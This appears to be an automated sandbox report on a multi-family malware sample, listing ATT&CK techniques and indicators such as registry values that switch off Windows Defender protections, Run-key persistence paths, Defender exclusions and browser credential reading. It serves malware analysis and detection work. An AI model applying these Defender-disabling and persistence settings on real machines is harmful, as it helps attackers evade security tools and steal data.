88a32a02a5fd8db6fc58c8549944f8cb9e04d02b936057dac958263e5cfdde71

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe
2312	powershell.exe
4672	powershell.exe
2012	powershell.exe
1060	powershell.exe
5196	powershell.exe
3936	powershell.exe
4968	powershell.exe
3448	powershell.exe
1108	powershell.exe
3348	powershell.exe
1804	powershell.exe
1616	powershell.exe
596	powershell.exe
4672	powershell.exe
4388	powershell.exe
1060	powershell.exe
5196	powershell.exe
5584	powershell.exe
2708	powershell.exe
2012	powershell.exe
5236	powershell.exe
3936	powershell.exe
4968	powershell.exe
3460	powershell.exe
2312	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
2656	cmd.exe
6060	cmd.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
6016	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
4312	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
2132	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 6 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

File/Path Exclusions

T1564.012

Disable or Modify Tools

pid	Process
4360	cmd.exe
4172	cmd.exe
1136	cmd.exe
5712	cmd.exe
3628	cmd.exe
2848	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\ShellExperience\\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\ShellExperience\\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\ShellExperience\\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\ShellExperience\\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"	reg.exe

Hide Artifacts: Hidden Window 1 TTPs 8 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

Hidden Window

T1564.003

pid	Process
4172	cmd.exe
6060	cmd.exe
1136	cmd.exe
5712	cmd.exe
3628	cmd.exe
2656	cmd.exe
2848	cmd.exe
4360	cmd.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

Clear Persistence

T1070.009

pid	Process
292	cmd.exe
5604	cmd.exe
3084	cmd.exe
1204	cmd.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
6	ipinfo.io
12	ipinfo.io

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2780	tasklist.exe
4416	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3760	cscript.exe
484	cscript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 8 IoCs

Hidden Files and Directories

T1564.001

pid	Process
4288	cmd.exe
4108	cmd.exe
1008	cmd.exe
3528	cmd.exe
1596	cmd.exe
4884	cmd.exe
3760	cmd.exe
1784	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 8 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
5712	cmd.exe
3628	cmd.exe
2656	cmd.exe
2848	cmd.exe
4360	cmd.exe
4172	cmd.exe
6060	cmd.exe
1136	cmd.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1216	sc.exe
3688	sc.exe
5008	sc.exe
4876	sc.exe
1672	sc.exe
5832	sc.exe
4920	sc.exe
1304	sc.exe

Executes a command shell one-liner 1 TTPs 62 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2712	cmd.exe
2516	cmd.exe
5948	cmd.exe
1172	cmd.exe
5520	cmd.exe
4600	cmd.exe
1264	cmd.exe
1984	cmd.exe
4400	cmd.exe
924	cmd.exe
2368	cmd.exe
2688	cmd.exe
5840	cmd.exe
4468	cmd.exe
1152	cmd.exe
4728	cmd.exe
4148	cmd.exe
108	cmd.exe
2876	cmd.exe
1288	cmd.exe
1848	cmd.exe
5312	cmd.exe
4164	cmd.exe
2736	cmd.exe
5696	cmd.exe
1692	cmd.exe
5416	cmd.exe
4472	cmd.exe
1952	cmd.exe
4584	cmd.exe
5836	cmd.exe
4260	cmd.exe
3132	cmd.exe
2580	cmd.exe
3156	cmd.exe
2424	cmd.exe
2524	cmd.exe
3004	cmd.exe
4740	cmd.exe
4800	cmd.exe
2816	cmd.exe
4216	cmd.exe
2152	cmd.exe
436	cmd.exe
1328	cmd.exe
3012	cmd.exe
5056	cmd.exe
988	cmd.exe
2804	cmd.exe
2976	cmd.exe
1140	cmd.exe
3024	cmd.exe
1356	cmd.exe
4988	cmd.exe
5432	cmd.exe
6092	cmd.exe
3700	cmd.exe
1324	cmd.exe
5944	cmd.exe
1380	cmd.exe
5388	cmd.exe
3164	cmd.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe

Kills process with taskkill 8 IoCs

pid	Process
5236	taskkill.exe
4752	taskkill.exe
3688	taskkill.exe
5436	taskkill.exe
1776	taskkill.exe
4416	taskkill.exe
5536	taskkill.exe
6040	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4732	schtasks.exe
4604	schtasks.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
1616	powershell.exe
1616	powershell.exe
596	powershell.exe
596	powershell.exe
5584	powershell.exe
5584	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
4388	powershell.exe
4388	powershell.exe
4388	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
5236	powershell.exe
5236	powershell.exe
5236	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
3936	powershell.exe
3936	powershell.exe
3936	powershell.exe
1804	powershell.exe
1804	powershell.exe
1804	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	596	powershell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeIncreaseQuotaPrivilege	5584	powershell.exe
Token: SeSecurityPrivilege	5584	powershell.exe
Token: SeTakeOwnershipPrivilege	5584	powershell.exe
Token: SeLoadDriverPrivilege	5584	powershell.exe
Token: SeSystemProfilePrivilege	5584	powershell.exe
Token: SeSystemtimePrivilege	5584	powershell.exe
Token: SeProfSingleProcessPrivilege	5584	powershell.exe
Token: SeIncBasePriorityPrivilege	5584	powershell.exe
Token: SeCreatePagefilePrivilege	5584	powershell.exe
Token: SeBackupPrivilege	5584	powershell.exe
Token: SeRestorePrivilege	5584	powershell.exe
Token: SeShutdownPrivilege	5584	powershell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeSystemEnvironmentPrivilege	5584	powershell.exe
Token: SeRemoteShutdownPrivilege	5584	powershell.exe
Token: SeUndockPrivilege	5584	powershell.exe
Token: SeManageVolumePrivilege	5584	powershell.exe
Token: 33	5584	powershell.exe
Token: 34	5584	powershell.exe
Token: 35	5584	powershell.exe
Token: 36	5584	powershell.exe
Token: SeIncreaseQuotaPrivilege	5584	powershell.exe
Token: SeSecurityPrivilege	5584	powershell.exe
Token: SeTakeOwnershipPrivilege	5584	powershell.exe
Token: SeLoadDriverPrivilege	5584	powershell.exe
Token: SeSystemProfilePrivilege	5584	powershell.exe
Token: SeSystemtimePrivilege	5584	powershell.exe
Token: SeProfSingleProcessPrivilege	5584	powershell.exe
Token: SeIncBasePriorityPrivilege	5584	powershell.exe
Token: SeCreatePagefilePrivilege	5584	powershell.exe
Token: SeBackupPrivilege	5584	powershell.exe
Token: SeRestorePrivilege	5584	powershell.exe
Token: SeShutdownPrivilege	5584	powershell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeSystemEnvironmentPrivilege	5584	powershell.exe
Token: SeRemoteShutdownPrivilege	5584	powershell.exe
Token: SeUndockPrivilege	5584	powershell.exe
Token: SeManageVolumePrivilege	5584	powershell.exe
Token: 33	5584	powershell.exe
Token: 34	5584	powershell.exe
Token: 35	5584	powershell.exe
Token: 36	5584	powershell.exe
Token: SeIncreaseQuotaPrivilege	5584	powershell.exe
Token: SeSecurityPrivilege	5584	powershell.exe
Token: SeTakeOwnershipPrivilege	5584	powershell.exe
Token: SeLoadDriverPrivilege	5584	powershell.exe
Token: SeSystemProfilePrivilege	5584	powershell.exe
Token: SeSystemtimePrivilege	5584	powershell.exe
Token: SeProfSingleProcessPrivilege	5584	powershell.exe
Token: SeIncBasePriorityPrivilege	5584	powershell.exe
Token: SeCreatePagefilePrivilege	5584	powershell.exe
Token: SeBackupPrivilege	5584	powershell.exe
Token: SeRestorePrivilege	5584	powershell.exe
Token: SeShutdownPrivilege	5584	powershell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeSystemEnvironmentPrivilege	5584	powershell.exe
Token: SeRemoteShutdownPrivilege	5584	powershell.exe
Token: SeUndockPrivilege	5584	powershell.exe
Token: SeManageVolumePrivilege	5584	powershell.exe
Token: 33	5584	powershell.exe
Token: 34	5584	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 1280	4428	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	90
PID 1280 wrote to memory of 4800	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	91
PID 4800 wrote to memory of 1616	4800	cmd.exe	93
PID 1280 wrote to memory of 4164	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	94
PID 4164 wrote to memory of 4820	4164	cmd.exe	96
PID 4820 wrote to memory of 3004	4820	net.exe	97
PID 1280 wrote to memory of 1008	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	98
PID 1008 wrote to memory of 4656	1008	cmd.exe	100
PID 1280 wrote to memory of 3528	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	101
PID 3528 wrote to memory of 2316	3528	cmd.exe	103
PID 1280 wrote to memory of 1596	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	104
PID 1596 wrote to memory of 4956	1596	cmd.exe	106
PID 1280 wrote to memory of 4604	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	107
PID 1280 wrote to memory of 4884	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	108
PID 4884 wrote to memory of 4264	4884	cmd.exe	110
PID 1280 wrote to memory of 4260	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	111
PID 4260 wrote to memory of 4152	4260	cmd.exe	113
PID 4152 wrote to memory of 2152	4152	net.exe	114
PID 1280 wrote to memory of 1204	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	115
PID 1204 wrote to memory of 2992	1204	cmd.exe	117
PID 1280 wrote to memory of 292	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	118
PID 292 wrote to memory of 3252	292	cmd.exe	120
PID 1280 wrote to memory of 2816	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	121
PID 2816 wrote to memory of 4732	2816	cmd.exe	123
